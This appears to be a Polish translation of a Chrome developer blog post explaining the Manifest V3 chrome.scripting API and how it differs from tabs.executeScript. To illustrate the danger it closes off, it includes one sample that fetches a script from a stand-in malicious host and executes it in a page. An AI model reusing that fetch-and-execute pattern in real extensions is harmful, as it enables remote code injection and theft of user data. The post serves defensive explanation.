Przedstawiamy chrome.scripting

Manifest V3 wprowadza kilka zmian na platformie rozszerzeń Chrome. W tym poście omówimy powody i zmiany spowodowane jedną z najważniejszych zmian: wprowadzeniem interfejsu API chrome.scripting.

Co to jest chrome.scripting?

Jak sama nazwa wskazuje, chrome.scripting to nowa przestrzeń nazw wprowadzona w Manifest V3, która odpowiada za możliwości wstrzykiwania skryptów i stylów.

Deweloperzy, którzy utworzyli rozszerzenia do Chrome w przeszłości, mogą znać metody platformy Manifest V2 w interfejsie Tabs API, takie jak chrome.tabs.executeScript i chrome.tabs.insertCSS. Te metody umożliwiają rozszerzeniom wstrzykiwanie odpowiednio skryptów i arkuszy stylów do stron. W platformie Manifest V3 te możliwości zostały przeniesione do chrome.scripting. W przyszłości planujemy dodać do tego interfejsu API nowe funkcje.

Po co tworzyć nowy interfejs API?

W przypadku takiej zmiany jednym z pierwszych pytań, które się pojawia, jest „dlaczego?”.

Kilka różnych czynników skłoniło zespół Chrome do wprowadzenia nowej przestrzeni nazw dla skryptów. Po pierwsze, interfejs Tabs API jest trochę schowkiem na funkcje. Po drugie, musieliśmy wprowadzić zmiany w interfejsie API executeScript, które mogły spowodować przerwanie działania. Po trzecie: wiedzieliśmy, że chcemy zwiększyć możliwości tworzenia skryptów przez rozszerzenia. Wraz z tymi problemami wyraźnie podkreślono potrzebę utworzenia nowej przestrzeni nazw na potrzeby obsługi skryptów.

Panel z niepotrzebnymi rzeczami

Jednym z problemów, które od kilku lat zmagają zespół ds. rozszerzeń, jest przeciążenie interfejsu API chrome.tabs. Gdy to interfejs API został po raz pierwszy wprowadzony, większość jego funkcji była związana z ogólną koncepcją karty przeglądarki. Jednak wtedy była to tylko garść funkcji, ale z biegiem lat ta kolekcja stale się powiększała.

W czasie wydania pliku manifestu w wersji 3 interfejs Tabs API został rozbudowany o podstawowe funkcje zarządzania kartami, zarządzania wyborem, organizacji okien, wysyłania wiadomości, sterowania powiększeniem, podstawowej nawigacji, skryptowania i kilka innych mniejszych funkcji. Choć to wszystko jest ważne, może to być nieco przytłaczające dla początkujących programistów, a także dla zespołu Chrome, gdy utrzymujemy platformę i rozpatrujemy prośby społeczności programistów.

Kolejnym komplikacją jest to, że nie są dobrze znane uprawnienia tabs. Chociaż wiele innych uprawnień ogranicza dostęp do danego interfejsu API (np. storage), jest to trochę nietypowe, ponieważ przyznaje rozszerzenie dostęp rozszerzenia do poufnych właściwości w instancjach Tab (oraz ma wpływ na interfejs Windows API). Wielu programistów rozszerzeń błędnie uważa, że potrzebują tego uprawnienia do uzyskiwania dostępu do metod w interfejsie Tabs API, takich jak chrome.tabs.create, a bardziej niemieckie – chrome.tabs.executeScript. Przeniesienie funkcji z interfejsu Tabs API pomoże uniknąć tego nieporozumień.

Zmiany powodujące niezgodność

Podczas projektowania pliku manifestu V3 jednym z głównych problemów, które chcieliśmy rozwiązać, były nadużycia i programy malware umożliwiane przez „kod hostowany zdalnie” – kod, który jest wykonywany, ale nie jest zawarty w pakiecie rozszerzenia. Autorzy szkodliwych rozszerzeń często uruchamiają skrypty pobrane z serwerów zdalnych, aby kraść dane użytkowników, wstrzykiwać złośliwe oprogramowanie i uniknąć wykrycia. Chociaż ta funkcja jest wykorzystywana przez osoby o dobrych intencjach, uznaliśmy, że jest ona zbyt niebezpieczna.

Rozszerzenia mogą wykonywać niespakowany kod na kilka różnych sposobów, ale w tym przypadku odpowiednia jest metoda Manifest V2 chrome.tabs.executeScript. Ta metoda umożliwia rozszerzeniu wykonanie dowolnego ciągu kodu na karcie docelowej. Oznacza to, że złośliwy programista może pobrać dowolny skrypt z dalszego serwera i wykonywać go na dowolnej stronie, do której ma dostęp. Wiedzieliśmy, że aby rozwiązać problem ze zdalnym kodem, trzeba było zrezygnować z tej funkcji.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

Chcieliśmy też usunąć inne, bardziej subtelne problemy z projektem wersji Manifest V2 oraz sprawić, że interfejs API stanie się bardziej dopracowanym i przewidywalnym narzędziem.

Można by zmienić podpis tej metody w interfejsie Tabs API, ale uznaliśmy, że między tymi zmianami a wprowadzeniem nowych funkcji (omówionych w następnej sekcji) każdy będzie miał łatwiejszą swobodę działania.

Rozszerzanie możliwości skryptowania

W procesie projektowania interfejsu Manifest V3 braliśmy też pod uwagę chęć wprowadzenia dodatkowych funkcji obsługi skryptów na platformie rozszerzeń do Chrome. Chcieliśmy dodać obsługę skryptów treści dynamicznych i rozszerzyć możliwości metody executeScript.

Obsługa skryptów dynamicznych treści była od dawna oczekiwaną funkcją w Chromium. Obecnie rozszerzenia Manifest V2 i V3 do Chrome mogą tylko statycznie deklarować skrypty treści w pliku manifest.json. Platforma nie umożliwia rejestrowania nowych skryptów treści, dostosowywania rejestracji skryptów treści ani wyrejestrowywania skryptów treści w czasie działania.

Chociaż wiedzieliśmy, że chcemy uwzględnić tę prośbę o funkcję w pliku manifestu w wersji 3, żadne z naszych dotychczasowych interfejsów API nie wydawało się odpowiednim miejscem na jej wdrożenie. Zastanawialiśmy się też nad dostosowaniem interfejsu Content Scripts API do przeglądarki Firefox, ale bardzo wcześnie zidentyfikowaliśmy kilka poważnych wad tego podejścia. Po pierwsze wiedzieli, że będą miały niezgodne podpisy (np. zrezygnujemy z obsługi właściwości code). Po drugie, nasz interfejs API miał inny zestaw ograniczeń projektowych (np. wymagał rejestracji, która przetrwałaby dłużej niż czas życia service workera). Wreszcie ta przestrzeń nazw ograniczyłaby nas do funkcji skryptu treści, podczas gdy rozważamy skrypty w ramach rozszerzeń w szerszym zakresie.

W przypadku executeScript chcieliśmy także poszerzyć możliwości tego interfejsu, wykraczając poza obsługiwane wersje interfejsu Tabs API. Chcieliśmy przede wszystkim umożliwić obsługę funkcji i argumentów, ułatwić kierowanie na konkretne ramki oraz uwzględnianie kontekstów innych niż „karta”.

W przyszłości zastanawiamy się też, jak rozszerzenia mogą wchodzić w interakcje z zainstalowanymi aplikacjami PWA i innymi kontekstami, które nie są mapowane na „karty”.

Zmiany między funkcjami tabs.executeScript i scripting.executeScript

W dalszej części tego posta przyjrzymy się bliżej podobieństwom i różnicom między chrome.tabs.executeScript a chrome.scripting.executeScript.

Wstrzyknięcie funkcji z argumentami

Rozważając, jak platforma powinna się rozwijać w świetle ograniczeń związanych z kodami hostowanymi zdalnie, chcieliśmy znaleźć równowagę między możliwościami dowolnego wykonania kodu a dozwoleniem tylko na skrypty treści statycznych. Rozwiązaniem, na które się zdecydowaliśmy, było umożliwienie rozszerzeniom wstrzykiwania funkcji jako skryptu treści i przekazywania tablicy wartości jako argumentów.

Przyjrzyjmy się (bardzo uproszczonemu) przykładowi. Załóżmy, że chcemy wstawić skrypt, który wita użytkownika po imieniu, gdy klika przycisk polecenia rozszerzenia (ikona na pasku narzędzi). W Manifest V2 można było dynamicznie tworzyć ciąg kodu i wykonywać ten skrypt w bieżącej stronie.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Chociaż rozszerzenia korzystające z platformy Manifest V3 nie mogą używać kodu, który nie jest dołączony do rozszerzenia, naszym celem było zachowanie części dynamiki, którą umożliwiały dowolne bloki kodu w rozszerzeniach korzystających z platformy Manifest V2. Podejście związane z funkcjami i argumentami umożliwia recenzentom Chrome Web Store, użytkownikom i innym zainteresowanym stronom dokładniejszą ocenę ryzyka, jakie stwarza rozszerzenie, a jednocześnie możliwość modyfikowania jego działania w czasie działania na podstawie ustawień użytkownika lub stanu aplikacji.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Ramki kierowania

Chcieliśmy też ulepszyć sposób, w jaki deweloperzy pracują z ramkami w zmienionym interfejsie API. Wersja executeScript na platformie Manifest V2 umożliwia programistom kierowanie reklam na wszystkie klatki na karcie lub na konkretną ramkę na karcie. Aby uzyskać listę wszystkich ramek na karcie, użyj parametru chrome.webNavigation.getAllFrames.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

W pliku manifestu w wersji 3 zastąpiliśmy opcjonalną właściwość liczby całkowitej frameId w obiekcie options opcjonalną tablicą liczb całkowitych frameIds. Dzięki temu deweloperzy mogą kierować reklamy na wiele klatek w pojedynczym wywołaniu interfejsu API.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Wyniki wstrzyknięcia skryptu

Ulepszyliśmy też sposób zwracania wyników wstrzyknięcia skryptu w pliku manifestu V3. „Wynik” to w zasadzie ostateczna instrukcja oceniana w skrypcie. Potraktuj ją jak wartość zwracaną po wywołaniu funkcji eval() lub wykonaniu bloku kodu w konsoli Chrome Dev Tools, ale zserializowanej w celu przekazywania wyników między procesami.

W pliku manifestu V2 funkcje executeScript i insertCSS zwracałyby tablicę prostych wyników wykonania. Jest to dobre rozwiązanie, jeśli masz tylko jeden punkt wstrzykiwania, ale kolejność wyników nie jest gwarantowana w przypadku wstrzykiwania do wielu klatek, więc nie wiadomo, który wynik jest powiązany z którą klatką.

Na potrzeby konkretnego przykładu przyjrzyjmy się tablicom results zwracanym przez Manifest V2 i Manifest V3 tego samego rozszerzenia. Obie wersje rozszerzenia będą stosować ten sam skrypt treści, a my porównujemy wyniki na tej samej stronie demonstracyjnej.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Gdy uruchomimy wersję Manifest V2, otrzymamy tablicę [1, 0, 5]. Który wynik odpowiada ramce głównej, a który elementowi iframe? Wartość zwracana nie zawiera tej informacji, więc nie mamy pewności.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

W wersji Manifest V3 obiekt results zawiera teraz tablicę obiektów wynikowych zamiast tablicy z wynikami oceny. Obiekty wynikowe wyraźnie określają identyfikator ramki w przypadku każdego wyniku. Ułatwia to deweloperom korzystanie z wyników i podejmowanie działań na określonej ramce.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Podsumowanie

Zmiany wersji pliku manifestu to rzadka okazja do przemyślenia i zmodernizowania interfejsów API rozszerzeń. Celem platformy Manifest V3 jest poprawa wrażeń użytkowników przez zwiększenie bezpieczeństwa rozszerzeń i wrażenia programistów. Dzięki wprowadzeniu chrome.scripting w Manifest V3 mogliśmy uporządkować interfejs Tabs API, zmienić sposób działania executeScript, aby zapewnić większą ochronę platformy rozszerzeń, oraz przygotować grunt pod nowe możliwości skryptowania, które pojawią się jeszcze w tym roku.